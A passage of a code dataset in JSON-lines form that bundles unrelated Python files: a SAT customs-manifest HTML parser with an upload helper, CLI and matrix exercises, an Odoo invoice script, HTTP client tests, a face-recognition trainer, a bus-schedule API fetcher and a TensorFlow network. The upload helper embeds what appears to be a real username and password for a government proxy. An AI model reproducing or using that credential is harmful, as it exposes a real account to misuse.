type_persona=OrderedDict()\r\n flag_persona=OrderedDict()\r\n flag_persona['EMBARCADOR']=False\r\n flag_persona['DESTINATARIO']=False\r\n flag_persona['NOTIFICAR A']=False\r\n type_persona[0]='EMBARCADOR'\r\n type_persona['Shipper/Embarcador']='EMBARCADOR'\r\n type_persona[3]='DESTINATARIO'\r\n type_persona['Consignatario/Destinatario']='DESTINATARIO'\r\n type_persona[6]='NOTIFICAR A'\r\n type_persona['Notificar a']='NOTIFICAR A'\r\n while index < len(data):\r\n tmp_lv0=data[index].findAll(\"tr\")\r\n #logger.info(tmp_lv0)\r\n #if len(tmp_lv0)==4: # Encabezados sat\r\n if len(tmp_lv0)==2: # DATA\r\n tmp_lv1_headers=tmp_lv0[0].findAll(\"td\")\r\n tmp_lv1_info=tmp_lv0[1].findAll(\"td\")\r\n if len(tmp_lv1_headers)==13: #Manifiesto\r\n index_2=0\r\n while index_2 < len(tmp_lv1_headers):\r\n result[none(tmp_lv1_headers[index_2].string)]=none(tmp_lv1_info[index_2].string)\r\n index_2+=1\r\n if len(tmp_lv1_headers)==8: #Conocimiento\r\n index_2=0\r\n while index_2 < len(tmp_lv1_headers):\r\n result[last_conocimiento][none(tmp_lv1_headers[index_2].string)]=none(tmp_lv1_info[index_2].string)\r\n index_2+=1\r\n if len(tmp_lv1_headers)==16: #Mercancia\r\n index_2=0\r\n while index_2 < len(tmp_lv1_headers):\r\n result[last_conocimiento][last_mercancia][none(tmp_lv1_headers[index_2].string)]=none(tmp_lv1_info[index_2].string)\r\n index_2+=1\r\n if len(tmp_lv0)==3: #HEADER OR INFO\r\n tmp_lv1_headers=tmp_lv0[1].findAll(\"td\")\r\n if len(tmp_lv1_headers)==1: # MANIFIESTO, CONOCIMIENTO o PERSONAS\r\n tmp_lv1_string=none(tmp_lv1_headers[0].string)\r\n if len(tmp_lv1_headers)==3: # MERCANCIA EXISTA O NO\r\n tmp_lv1_string=none(tmp_lv1_headers[1].string)\r\n if re.match('HAY [0-9]+ CONOCIMIENTOS',tmp_lv1_string): #IF MANIFIESTO\r\n result['MANIFIESTO']=re.search('([0-9A-Z]+)\\.',tmp_lv1_string).group(1)\r\n if re.match('CONOCIMIENTO N.MERO [0-9]+ :',tmp_lv1_string): #IF CONOCIMIENTO\r\n result[tmp_lv1_string]=OrderedDict()\r\n last_conocimiento=tmp_lv1_string\r\n for i in flag_persona: flag_persona[i]=False\r\n if re.match('PERSONAS',tmp_lv1_string): #IF PERSONA\r\n result[last_conocimiento][tmp_lv1_string]=OrderedDict()\r\n last_persona=tmp_lv1_string\r\n #result[last_conocimiento][tmp_lv1_string][type_persona[0]]=OrderedDict()\r\n #result[last_conocimiento][tmp_lv1_string][type_persona[3]]=OrderedDict()\r\n #result[last_conocimiento][tmp_lv1_string][type_persona[6]]=OrderedDict()\r\n if re.match('MERCANCIA [0-9]+',tmp_lv1_string): #IF CONOCIMIENTO\r\n for i in flag_persona:\r\n if not flag_persona[i]:\r\n result[last_conocimiento][last_persona][i]=OrderedDict()\r\n result[last_conocimiento][last_persona][i]['NOMBRE']=''\r\n result[last_conocimiento][last_persona][i]['ID. FISCAL']=''\r\n result[last_conocimiento][last_persona][i]['DOMICILIO']=''\r\n result[last_conocimiento][tmp_lv1_string]=OrderedDict()\r\n last_mercancia=tmp_lv1_string\r\n tmp_persona=none(tmp_lv0[0].findAll(\"td\")[0].string)\r\n if re.match('Shipper|Destinatario|Notificar',tmp_persona):\r\n result[last_conocimiento][last_persona][type_persona[tmp_persona]]=OrderedDict()\r\n tmp_lv1_headers=tmp_lv0[1].findAll(\"td\")\r\n tmp_lv1_info=tmp_lv0[2].findAll(\"td\")\r\n index_2=0\r\n while index_2 < len(tmp_lv1_headers):\r\n result[last_conocimiento][last_persona][type_persona[tmp_persona]][none(tmp_lv1_headers[index_2].string)]=none(tmp_lv1_info[index_2].string)\r\n index_2+=1\r\n flag_persona[type_persona[tmp_persona]]=True\r\n\r\n if len(tmp_lv0)==6: # NOT ALL PERSONS\r\n index_2=0\r\n while index_2 < len(tmp_lv0):\r\n tmp_persona=tmp_lv0[index_2].findAll(\"td\")[0].string\r\n result[last_conocimiento][last_persona][type_persona[tmp_persona]]=OrderedDict()\r\n tmp_lv1_headers=tmp_lv0[index_2+1].findAll(\"td\")\r\n tmp_lv1_info=tmp_lv0[index_2+2].findAll(\"td\")\r\n index_3=0\r\n while index_3 < len(tmp_lv1_headers):\r\n result[last_conocimiento][last_persona][type_persona[tmp_persona]][none(tmp_lv1_headers[index_3].string)]=none(tmp_lv1_info[index_3].string)\r\n index_3+=1\r\n index_2+=3\r\n flag_persona[type_persona[tmp_persona]]=True\r\n\r\n\r\n if len(tmp_lv0)==9: # PERSONAS\r\n index_2=0\r\n while index_2 < len(tmp_lv0):\r\n result[last_conocimiento][last_persona][type_persona[index_2]]=OrderedDict()\r\n tmp_lv1_headers=tmp_lv0[index_2+1].findAll(\"td\")\r\n tmp_lv1_info=tmp_lv0[index_2+2].findAll(\"td\")\r\n index_3=0\r\n while index_3 < len(tmp_lv1_headers):\r\n result[last_conocimiento][last_persona][type_persona[index_2]][none(tmp_lv1_headers[index_3].string)]=none(tmp_lv1_info[index_3].string)\r\n index_3+=1\r\n index_2+=3\r\n for i in flag_persona: flag_persona[i]=True\r\n index+=1\r\n\r\n return json.dumps(result, indent=3,ensure_ascii=False)\r\n\r\ndef zipdir(path,name):\r\n ziph=zipfile.ZipFile(name+'.zip', 'w', zipfile.ZIP_DEFLATED)\r\n for root, dirs, files in os.walk(path):\r\n for file in files:\r\n ziph.write(os.path.join(root, file),os.path.basename(file))\r\n ziph.close()\r\n #shutil.rmtree(path, ignore_errors=True)\r\n\r\ndef upload_php(zipfile):\r\n BASE=os.path.dirname(zipfile)+'/'+os.path.basename(zipfile).split('.')[0]+'/'\r\n URL='https://serviciosinternos.sat.gob.mx/alertasapp/assets/uploader/upload.php'\r\n proxy_string = 'http://HEAY928M:Nalle1408*@proxy.sat.gob.mx:3128'#only for server\r\n #URL='https://10.55.236.148/alertasapp/assets/uploader/upload.php'\r\n data={'submit':'Upload'}\r\n files = {'uploaded_file': open(zipfile,'rb')}\r\n #r = requests.post(URL,files=files,data=data,timeout=3600.0,proxies={\"http\": proxy_string , \"https\": proxy_string},verify=False)\r\n r = requests.post(URL,files=files,data=data,timeout=3600.0)\r\n #print(r.text)\r\n","sub_path":"func.py","file_name":"func.py","file_ext":"py","file_size_in_byte":12069,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"356538084","text":"\"\"\"Cut several fields from the file.\"\"\"\n\n\nimport argparse\nimport sys\n\n\nclass TableError(Exception):\n pass\n\n\nclass Table(object):\n def __init__(self, rows=()):\n self.rows = list(rows)\n\n def head(self, count=10):\n return Table(self.rows[:count])\n\n def tail(self, count=10):\n return Table(self.rows[-count:])\n\n def select_columns(self, indices):\n new_rows = []\n for row in self.rows:\n try:\n new_row = [row[i] for i in indices]\n except IndexError:\n raise TableError(\"Row has too few fields.\")\n new_rows.append(new_row)\n return Table(new_rows)\n\n def paste(self, other):\n new_rows = []\n for row, row_other in zip(self.rows, other.rows):\n new_rows.append(row + row_other)\n return Table(new_rows)\n\n def concatenate(self, other):\n return Table(self.rows + other.rows)\n\n def __add__(self, other):\n return self.concatenate(other)\n\n def extend(self, other):\n self.rows += other.rows\n\n def __iadd__(self, other):\n self.extend(other)\n\n def __getitem__(self, index):\n return self.rows[index]\n\n def __str__(self):\n return '\\n'.join('\\t'.join([str(el) for el in row])\n for row in self.rows)\n\n def write(self, delimiter='\\t', file=sys.stdout):\n for row in self.rows:\n file.write(delimiter.join([str(el) for el in row]) + '\\n')\n\n\ndef parse_row(text, delimiter='\\t'):\n return text.split(delimiter)\n\n\ndef read_table(filename, delimiter='\\t'):\n rows = []\n try:\n with open(filename) as f:\n for line in f:\n rows.append(parse_row(line.strip(), delimiter))\n except IOError:\n raise TableError(\"Input file \" + filename + \" not found.\")\n return Table(rows)\n\n\ndef build_fields_list(fields_str):\n try:\n return [int(field) for field in fields_str.split(',')]\n except ValueError:\n raise TableError(\"Some fields cannot be parsed as integer.\")\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('-s', '--separator', metavar='TEXT', default='\\t',\n help=\"fields separator\")\n\n subparsers = parser.add_subparsers(dest='command')\n\n parser_cut = subparsers.add_parser('cut', help='Cut columns from table.')\n parser_cut.add_argument('filename', help=\"path to the file to work with\")\n parser_cut.add_argument('-f', '--fields', metavar='LIST', required=True,\n help=\"fields to cut from the file\")\n\n parser_paste = subparsers.add_parser('paste',\n help='Join table by columns.')\n parser_paste.add_argument('first_file')\n parser_paste.add_argument('second_file')\n\n parser_head = subparsers.add_parser('head', help='Get several first rows.')\n parser_head.add_argument('filename', help=\"path to the file to work with\")\n parser_head.add_argument('-n', '--size', metavar='NUM', required=True,\n type=int, help=\"How many rows to get.\")\n\n parser_tail = subparsers.add_parser('tail', help='Get several last rows.')\n parser_tail.add_argument('filename', help=\"path to the file to work with\")\n parser_tail.add_argument('-n', '--size', metavar='NUM', required=True,\n type=int, help=\"How many rows to get.\")\n\n args = parser.parse_args()\n\n try:\n if args.separator in ['\\n', '']:\n raise TableError(\"Invalid field separator.\")\n\n if args.command == 'cut':\n table = read_table(args.filename, args.separator)\n fields = build_fields_list(args.fields)\n table_cut = table.select_columns(fields)\n table_cut.write(args.separator)\n elif args.command == 'paste':\n table1 = read_table(args.first_file, args.separator)\n table2 = read_table(args.second_file, args.separator)\n table_pasted = table1.paste(table2)\n table_pasted.write(args.separator)\n elif args.command == 'head':\n table = read_table(args.filename, args.separator)\n table_head = table.head(args.size)\n table_head.write(args.separator)\n elif args.command == 'tail':\n table = read_table(args.filename, args.separator)\n table_tail = table.tail(args.size)\n table_tail.write(args.separator)\n\n except TableError as e:\n parser.error(e.message)\n\n\nif __name__ == '__main__':\n main()","sub_path":"third/ASCII/1 - table.py","file_name":"1 - table.py","file_ext":"py","file_size_in_byte":4526,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"591767903","text":"\"\"\"Дана целочисленная квадратная матрица. Найти в каждой строке наибольший\nэлемент и поменять его местами с элементом главной диагонали.[02-4.2-ML22]\"\"\"\nimport random\n\nn = 4\nm = 4\nmatrix = [[random.randrange(0, 10) for y in range(m)] for x in range(n)]\nprint(matrix)\n\ndef print_matrix(matrix):\n for i in range(len(matrix)):\n for j in range(len(matrix[i])):\n print(\"{:4d}\".format(matrix[i][j]), end=\"\")\n print()\n\nprint_matrix(matrix)\n\nprint(\"\") # для разделения матриц, чтобы не сливались в глазах\n\nfor i in range(len(matrix)):\n for j in range(len(matrix[0])):\n max_elem = max(matrix[i])\n if i != j:\n continue\n else:\n matrix[i][j] = matrix[i][j] * 0 + max_elem\nprint_matrix(matrix)\n","sub_path":"task_5_7.py","file_name":"task_5_7.py","file_ext":"py","file_size_in_byte":912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"507180400","text":"import odoorpc\n\nimport settings\n\"\"\"settings module contains various constants used\nto connect with Odoo on my VPS\"\"\"\n\n\nif __name__ == \"__main__\":\n odoo = odoorpc.ODOO(settings.ODOO_HOST, port=settings.ODOO_PORT, timeout=10)\n odoo.login(settings.ODOO_DB, settings.ODOO_USER, settings.ODOO_PASSWORD)\n\n Partner = odoo.env[\"res.partner\"]\n # This partner already exists in DB\n customer = Partner.browse([22])\n\n Invoice = odoo.env[\"account.invoice\"]\n invoice_id = Invoice.create({\n 'partner_id' : customer.id,\n 'state': 'draft',\n # This is ID for \"Customers Invoices\" journal\n 'journal_id': 1,\n 'account_id': customer.property_account_receivable_id.id,\n # This is ID for default bank account, already registered\n 'partner_bank_id': 1,\n 'payment_term_id': odoo.env.ref(\"account.account_payment_term_net\").id,\n })\n\n InvoiceLine = odoo.env[\"account.invoice.line\"]\n InvoiceLine.create({\n \"invoice_id\": invoice_id,\n \"name\": \"A basic product\",\n \"quantity\": 6,\n \"price_unit\": 100.0,\n # Not sure about this one:\n \"uom_id\": 1,\n # No tax\n \"invoice_line_tax_ids\": [],\n 'journal_id': 1,\n 'account_id': customer.property_account_receivable_id.id,\n })\n\n inv = Invoice.browse([invoice_id])\n print(\"Before validating:\", inv.state)\n\n inv.action_invoice_open()\n\n inv = Invoice.browse([invoice_id])\n print(\"After validating:\", inv.state)\n\n\n # result\n # Before validating: draft\n # After validating: paid\n\n # fix\n\ncust_invoices_journal = odoo.env[\"account.journal\"].browse([1])\n# [...]\ninvoice_id = Invoice.create({\n # [...]\n 'journal_id': cust_invoices_journal.id,\n 'account_id': customer.property_account_receivable_id.id,\n # [...]\n})\n# [...]\nInvoiceLine.create({\n # [...]\n 'account_id': cust_invoices_journal.default_credit_account_id.id,\n # [...]\n})","sub_path":"python-script/stack.py","file_name":"stack.py","file_ext":"py","file_size_in_byte":1934,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"509406625","text":"# Copyright 2017 TensorHub, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom __future__ import absolute_import\nfrom __future__ import division\n\nimport functools\nimport re\n\nimport click\n\nclass Args(object):\n\n def __init__(self, kw):\n self.__kw = kw\n for name in kw:\n setattr(self, name, kw[name])\n\n def __repr__(self):\n return \"\" % self.__kw\n\nclass Group(click.Group):\n\n def get_command(self, ctx, cmd_name):\n for cmd in self.commands.values():\n names = re.split(\", ?\", cmd.name)\n if cmd_name in names:\n cmd_name = cmd.name\n break\n return super(Group, self).get_command(ctx, cmd_name)\n\ndef use_args(fn0):\n def fn(*args, **kw):\n return fn0(*(args + (Args(kw),)))\n return functools.update_wrapper(fn, fn0)\n\ndef append_params(fn, params):\n fn.__click_params__ = getattr(fn, \"__click_params__\", [])\n fn.__click_params__.extend(reversed(params))\n\ndef format_error_message(e):\n msg_parts = [_format_click_error_message(e)]\n if e.ctx:\n msg_parts.append(\n \"\\nTry '%s' for more information.\"\n % cmd_help(e.ctx))\n return \"\".join(msg_parts)\n\ndef _format_click_error_message(e):\n if isinstance(e, click.exceptions.MissingParameter):\n return _format_missing_parameter_error(e)\n elif isinstance(e, click.exceptions.NoSuchOption):\n return _format_no_such_option_error(e)\n elif isinstance(e, click.exceptions.UsageError):\n return _format_usage_error(e)\n else:\n return e.format_message()\n\ndef _format_missing_parameter_error(e):\n return \"missing argument for %s\" % e.param.human_readable_name\n\ndef _format_no_such_option_error(e):\n if e.possibilities:\n more_help = \" (did you mean %s?)\" % e.possibilities[0]\n else:\n more_help = \"\"\n return \"unrecognized option '%s'%s\" % (e.option_name, more_help)\n\ndef _format_usage_error(e):\n msg = e.format_message()\n replacements = [\n ('No such command \"(.+)\"',\n \"unrecognized command '%s'\"),\n (\"Got unexpected extra argument \\\\((.+?)\\\\)\",\n \"unexpected extra argument '%s'\"),\n (\"Got unexpected extra arguments \\\\((.+?)\\\\)\",\n \"unexpected extra arguments '%s'\"),\n ]\n for msg_pattern, new_msg_pattern in replacements:\n m = re.match(msg_pattern, msg)\n if m:\n return new_msg_pattern % m.groups()\n return msg\n\ndef cmd_help(ctx):\n return \"%s %s\" % (normalize_command_path(ctx.command_path),\n ctx.help_option_names[0])\n\ndef normalize_command_path(cmd_path):\n m = re.match(\"^(.+?), .+$\", cmd_path)\n return m.group(1) if m else cmd_path\n","sub_path":"guild/click_util.py","file_name":"click_util.py","file_ext":"py","file_size_in_byte":3219,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"412624241","text":"import os\nimport pytest\nimport json\nfrom contextlib import contextmanager\nfrom geventhttpclient import HTTPClient\nfrom gevent.ssl import SSLError #@UnresolvedImport\nimport gevent.pool\n\nimport gevent.server\n\n\nlistener = ('127.0.0.1', 54323)\n\n@contextmanager\ndef server(handler):\n server = gevent.server.StreamServer(\n listener,\n handle=handler)\n server.start()\n try:\n yield\n finally:\n server.stop()\n\n\ndef test_client_simple():\n client = HTTPClient('www.google.fr')\n assert client.port == 80\n response = client.get('/')\n assert response.status_code == 200\n body = response.read()\n assert len(body)\n\ndef test_client_without_leading_slash():\n client = HTTPClient('www.google.fr')\n with client.get(\"\") as response:\n assert response.status_code == 200\n with client.get(\"maps\") as response:\n assert(response.status_code in (200, 301, 302))\n\ntest_headers = {'User-Agent': 'Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.17) Gecko/20110422 Ubuntu/10.04 (lucid) Firefox/3.6.17'}\ndef test_client_with_default_headers():\n client = HTTPClient.from_url('www.google.fr/', headers=test_headers)\n\ndef test_request_with_headers():\n client = HTTPClient('www.google.fr')\n response = client.get('/', headers=test_headers)\n assert response.status_code == 200\n\nclient = HTTPClient('www.heise.de')\nraw_req_cmp = client._build_request('GET', '/tp/')\n\ndef test_build_request_relative_uri():\n raw_req = client._build_request('GET', 'tp/')\n assert raw_req == raw_req_cmp\n\ndef test_build_request_absolute_uri():\n raw_req = client._build_request('GET', '/tp/')\n assert raw_req == raw_req_cmp\n\ndef test_build_request_full_url():\n raw_req = client._build_request('GET', 'http://www.heise.de/tp/')\n assert raw_req == raw_req_cmp\n\ndef test_build_request_invalid_host():\n with pytest.raises(ValueError):\n client._build_request('GET', 'http://www.spiegel.de/')\n\ndef test_response_context_manager():\n client = HTTPClient.from_url('http://www.google.fr/')\n r = None\n with client.get('/') as response:\n assert response.status_code == 200\n r = response\n assert r._sock is None # released\n\ndef test_client_ssl():\n client = HTTPClient('www.google.fr', ssl=True)\n assert client.port == 443\n response = client.get('/')\n assert response.status_code == 200\n body = response.read()\n assert len(body)\n\ndef test_ssl_fail_invalid_certificate():\n certs = os.path.join(\n os.path.dirname(os.path.abspath(__file__)), \"onecert.pem\")\n client = HTTPClient('www.google.fr', ssl_options={'ca_certs': certs})\n assert client.port == 443\n with pytest.raises(SSLError):\n client.get('/')\n\ndef test_multi_queries_greenlet_safe():\n client = HTTPClient('www.google.fr', concurrency=3)\n group = gevent.pool.Group()\n event = gevent.event.Event()\n\n def run(i):\n event.wait()\n response = client.get('/')\n return response, response.read()\n\n count = 0\n\n gevent.spawn_later(0.2, event.set)\n for response, content in group.imap_unordered(run, xrange(5)):\n assert response.status_code == 200\n assert len(content)\n count += 1\n assert count == 5\n\n\nclass StreamTestIterator(object):\n\n def __init__(self, sep, count):\n lines = [json.dumps({\n 'index': i,\n 'title': 'this is line %d' % i})\n for i in xrange(0, count)]\n self.buf = sep.join(lines) + sep\n self.cursor = 0\n\n def __len__(self):\n return len(self.buf)\n\n def __iter__(self):\n return self\n\n def next(self):\n if self.cursor >= len(self.buf):\n raise StopIteration()\n\n gevent.sleep(0)\n pos = self.cursor + 10\n data = self.buf[self.cursor:pos]\n self.cursor = pos\n\n return data\n\n\ndef readline_iter(sock, addr):\n sock.recv(1024)\n iterator = StreamTestIterator(\"\\n\", 100)\n sock.sendall(\"HTTP/1.1 200 Ok\\r\\nConnection: close\\r\\n\\r\\n\")\n for block in iterator:\n sock.sendall(block)\n\ndef test_readline():\n with server(readline_iter):\n client = HTTPClient(*listener, block_size=1)\n response = client.get('/')\n lines = []\n while True:\n line = response.readline(\"\\n\")\n if not line:\n break\n data = json.loads(line[:-1])\n lines.append(data)\n assert len(lines) == 100\n assert map(lambda x: x['index'], lines) == range(0, 100)\n\ndef readline_multibyte_sep(sock, addr):\n sock.recv(1024)\n iterator = StreamTestIterator(\"\\r\\n\", 100)\n sock.sendall(\"HTTP/1.1 200 Ok\\r\\nConnection: close\\r\\n\\r\\n\")\n for block in iterator:\n sock.sendall(block)\n\ndef test_readline_multibyte_sep():\n with server(readline_multibyte_sep):\n client = HTTPClient(*listener, block_size=1)\n response = client.get('/')\n lines = []\n while True:\n line = response.readline(\"\\r\\n\")\n if not line:\n break\n data = json.loads(line[:-1])\n lines.append(data)\n assert len(lines) == 100\n assert map(lambda x: x['index'], lines) == range(0, 100)\n\ndef readline_multibyte_splitsep(sock, addr):\n sock.recv(1024)\n sock.sendall(\"HTTP/1.1 200 Ok\\r\\nConnection: close\\r\\n\\r\\n\")\n sock.sendall('{\"a\": 1}\\r')\n gevent.sleep(0)\n sock.sendall('\\n{\"a\": 2}\\r\\n{\"a\": 3}\\r\\n')\n\ndef test_readline_multibyte_splitsep():\n with server(readline_multibyte_splitsep):\n client = HTTPClient(*listener, block_size=1)\n response = client.get('/')\n lines = []\n last_index = 0\n while True:\n line = response.readline(\"\\r\\n\")\n if not line:\n break\n data = json.loads(line[:-2])\n assert data['a'] == last_index + 1\n last_index = data['a']\n len(lines) == 3\n\ndef internal_server_error(sock, addr):\n sock.recv(1024)\n head = 'HTTP/1.1 500 Internal Server Error\\r\\n' \\\n 'Connection: close\\r\\n' \\\n 'Content-Type: text/html\\r\\n' \\\n 'Content-Length: 135\\r\\n\\r\\n'\n\n body = '\\n \\n Internal Server Error\\n ' \\\n '\\n \\n

Internal Server Error

\\n \\n ' \\\n '\\n\\n\\n'\n\n sock.sendall(head + body)\n sock.close()\n\ndef test_internal_server_error():\n with server(internal_server_error):\n client = HTTPClient(*listener)\n response = client.get('/')\n assert not response.should_keep_alive()\n assert response.should_close()\n body = response.read()\n assert len(body) == response.content_length\n\n\n","sub_path":"src/geventhttpclient/tests/test_client.py","file_name":"test_client.py","file_ext":"py","file_size_in_byte":6707,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"555819562","text":"from flask import Flask, jsonify, request\n\n# 创建服务\napp = Flask(__name__)\n\n\n# 指定接口的访问路径,和支持什么请求方式get,post\n@app.route('/hello', methods=['get', 'post'])\ndef hello():\n people = request.args.get('people')\n return f\"hello:\\t{people}\"\n\n\n@app.route('/hi', methods=['get'])\ndef hi():\n people = request.args.get('people')\n age = request.args.get('age')\n data = {}\n data['age'] = age\n data['hi'] = people\n return jsonify(data)\n\n\nif __name__ == '__main__':\n # host:指定绑定IP,port:指定绑定端口,debug指定:是否接受调试,是否返回错误信息\n app.run(host='192.168.1.104', port=8802, debug=True)\n","sub_path":"test/worm_api.py","file_name":"worm_api.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"213745640","text":"import cv2\nimport os\nimport numpy as np\n\nBASE_DIR = os.path.dirname(os.path.abspath(__file__))\nimage_dir = os.path.join(BASE_DIR, \"cropped\")\n\ndirs = [\"cropped\", \"spam_data3\"]#, \"spam_data2\"]\n\nface_cascade = cv2.CascadeClassifier('cascades/haarcascade_frontalface_alt2.xml')\nrecognizer = cv2.face.LBPHFaceRecognizer_create()\n#recognizer.setNeighbors(10)\n#recognizer.setRadius(2)\n#recognizer.setGridX(10)\n#recognizer.setGridY(10)\n\ncount = 0\ny_labels = []\nx_train = []\n\nfor dir in dirs:\n image_dir = os.path.join(BASE_DIR, dir)\n for root, dirs, files in os.walk(image_dir):\n for file in files:\n if file.endswith(\"png\") or file.endswith(\"jpg\") or file.endswith(\"jpeg\"):\n path = os.path.join(root, file)\n #label = os.path.basename(root).replace(\" \", \"-\").lower()\n # print(label, path)\n #if not label in label_ids:\n # label_ids[label] = current_id\n # current_id += 1\n #id_ = label_ids[label]\n # print(label_ids)\n # x_train.append(path) # verify this image, turn into a NUMPY arrray, GRAY\n pil_image = cv2.imread(path, cv2.IMREAD_GRAYSCALE) # grayscale\n\n size = (550, 550)\n final_image = cv2.resize(pil_image,size)\n #cv2.imshow(file, final_image)\n #print(image_array)\n faces = face_cascade.detectMultiScale(pil_image, scaleFactor=1.09)\n\n for (x, y, w, h) in faces:\n roi = pil_image[y:y + h, x:x + w]\n x_train.append(roi)\n y_labels.append(0) # some number\n else:\n x_train.append(pil_image)\n y_labels.append(0) # some number\n count += 1\n\n# print(y_labels)\n# print(x_train)\n\n#with open(\"pickles/face-labels.pickle\", 'wb') as f:\n# pickle.dump(label_ids, f)\n\noutput_file = os.path.join(BASE_DIR, \"recognizers/face-trainner.yml\")\n\nrecognizer.train(x_train, np.array(y_labels))\nrecognizer.save('face-trainner_nohair_nosize.yml')\n\nprint(\"trained \"+str(count))\n\ncv2.waitKey()\ncv2.destroyAllWindows()","sub_path":"Task 1/trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":2182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"628983285","text":"import csv\nimport json\nimport urllib\n \ndef do_compute():\n # Grab your CUMTD key from ../static/keys/cumtd.txt\n # ...raise an error if the key file is empty\n f = open(\"../static/keys/cumtd.txt\")\n cumtd_key = f.read().strip()\n\n if len(cumtd_key) == 0:\n raise ValueError(\"No CUMTD API key provided in /static/keys/cumtd.txt\")\n \n\n # Prepare the API request\n url = \"https://developer.cumtd.com/api/v2.2/json/GetDeparturesByStop?\"\n \n urlArgs = {\n \"key\": cumtd_key,\n \"stop_id\": \"GRGDNR\"\n }\n\n\n # Make the API request and store the result JSON in `result` \n req = urllib.urlopen( url + urllib.urlencode(urlArgs) )\n result = json.load( req )\n \n \n # Parse result into a `schedule` dictionary to be used by JavaScript\n schedule = {}\n \n for d in result[\"departures\"]:\n expected_mins = d[\"expected_mins\"]\n headsign = d[\"headsign\"]\n color = d[\"route\"][\"route_color\"]\n text_color = d[\"route\"][\"route_text_color\"]\n \n if headsign not in schedule:\n schedule[headsign] = { \"color\": color,\n \"text_color\": text_color,\n \"headsign\": headsign,\n \"expected\": [] }\n \n schedule[headsign][\"expected\"].append(expected_mins)\n \n \n # Save our JSON\n # ...first the full `result` (for debugging)\n f = open(\"res/cumtd.json\", \"w\")\n s = json.dumps(result, indent = 4)\n f.write(s)\n \n # ...and also the `schedule` (for our JavaScript to use)\n f = open(\"res/schedule.json\", \"w\")\n s = json.dumps(schedule, indent = 4)\n f.write(s)\n\n return 1 \n","sub_path":"demo_gmaps+cumtd/py/compute.py","file_name":"compute.py","file_ext":"py","file_size_in_byte":1561,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"634000497","text":"import numpy as np\nimport tensorflow as tf\nimport matplotlib.pyplot as plt\nimport time\n\ndef init_weights(shape):\n return tf.Variable(tf.random_normal(shape, stddev=1))\n\n# Sigmoid used. replace with tanh for hyperbolic tangent\ndef model(X, w_h1, w_o):\n h1 = tf.nn.tanh(tf.nn.sigmoid(tf.matmul(X, w_h1)))\n return tf.matmul(h1, w_o)\n\ndef answer(x,y):\n return np.cos(x + (6 * 0.35 * y)) + (2 * 0.35 * x * y)\n\n#training: 10, testing: 9\ndef data(n):\n uniformRange = np.linspace(-1,1,n)\n data = []\n for i in range(0,n):\n for j in range(0,n):\n data.append([uniformRange[i],uniformRange[j]])\n return data\ndef validationData(n):\n return np.random.rand(n**2,2) * 2 - 1\n\ndef runNeuralNetwork(h1Size, optimizerIndex, plotColour, plot, epochs, earlyStop):\n X = tf.placeholder(\"float\", [None, 2])\n Y = tf.placeholder(\"float\", [None, 1])\n\n size_h1 = tf.constant(h1Size, dtype=tf.int32)\n\n w_h1 = init_weights([2, size_h1])\n w_o = init_weights([size_h1, 1])\n py_x = model(X, w_h1, w_o)\n\n learningRate = 0.02\n tolerance = 0.02\n #cost = tf.sqrt(tf.reduce_sum(tf.square(tf.subtract(py_x, Y))))\n cost = tf.losses.mean_squared_error(py_x, Y)\n traingd = tf.train.GradientDescentOptimizer(learningRate).minimize(cost)\n traingdm = tf.train.MomentumOptimizer(learningRate,0.9).minimize(cost)\n traingrms = tf.train.RMSPropOptimizer(learning_rate=learningRate).minimize(cost)\n optimizers = [traingd, traingdm, traingrms]\n predict_op = py_x\n\n trX = data(10)\n trY = np.transpose(np.matrix(list(map(lambda x: answer(x[0], x[1]), trX))))\n trX = np.matrix(trX)\n teX = data(9)\n teY = np.transpose(np.matrix(list(map(lambda x: answer(x[0], x[1]), teX))))\n teX = np.matrix(teX)\n\n vX = np.matrix([])\n vY = np.matrix([])\n vError = 0\n #early stopping\n if (earlyStop):\n vX = validationData(10)\n vY = np.transpose(np.matrix(list(map(lambda x: answer(x[0], x[1]), vX))))\n vX = np.matrix(vX)\n vError = np.inf\n\n # Launch the graph in a session\n with tf.Session() as sess:\n # you need to initialize all variables\n tf.global_variables_initializer().run()\n vFail = 0\n for i in range(epochs):\n for start, end in zip(range(0, 90, 10), range(10, 100, 10)):\n sess.run(optimizers[optimizerIndex], feed_dict={X: trX[start:end], Y: trY[start:end]})\n if earlyStop:\n error = sess.run(tf.losses.mean_squared_error(vY, sess.run(predict_op, feed_dict={X: vX})))\n print(error)\n if (error >= vError):\n vFail += 1\n else:\n vError = error\n if (vFail >= 10):\n print(\"Validation early stopping\")\n break\n if i % (epochs/25) == 0:\n error = sess.run(tf.losses.mean_squared_error(trY, sess.run(predict_op, feed_dict={X: trX})))\n #print(error\n if (error < tolerance):\n print(\"converged below tolerance\")\n break\n print(i, sess.run(tf.losses.mean_squared_error(teY, sess.run(predict_op, feed_dict={X: teX}))))\n #done so do the contour\n if plot:\n contourInputs = np.matrix(data(10))\n Xval = contourInputs[:,0]\n Yval = contourInputs[:,1]\n Z = sess.run(predict_op, feed_dict={X: contourInputs}).reshape(10,10)\n Xval,Yval = np.meshgrid(np.linspace(-1,1,10),np.linspace(-1,1,10))\n Zans = 